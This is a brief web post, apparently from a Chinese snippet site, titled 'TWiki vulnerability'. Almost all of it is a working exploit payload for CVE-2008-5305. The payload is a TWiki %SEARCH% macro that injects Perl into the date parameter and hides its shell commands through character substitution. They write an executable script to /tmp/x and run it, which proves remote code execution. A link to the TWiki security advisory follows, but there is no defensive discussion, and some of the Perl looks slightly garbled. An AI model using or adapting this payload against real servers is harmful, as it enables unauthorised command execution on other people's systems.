twiki漏洞

# A = m, B = y, C = s, E = d, F = h, G = w, X = /
%SEARCH{date="Pour $X='X';$X=~tr#X#\057#;our $A='X';$A=~tr#X#\155#;our %$B='X';$B=~tr#X#\171#;our $C='X';$C=~tr#X#\163#;our %$E='X';$E=~tr#X#\144#;our $F='X';$F=~tr#X#\150#;our %$G='X';$G=~tr#X#\167#;`ec${F}o ${X}u${C}r${X}bin${X}i${E} > %${X}t${A}p${X}x;c${F}${A}o${E} +x ${X}t${A}p${X}x;${X}t${A}p${X}x %>&2;`" search="xyzzy"}%}
 
 
http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2008-5305

你可能感兴趣的:(c,Date,search)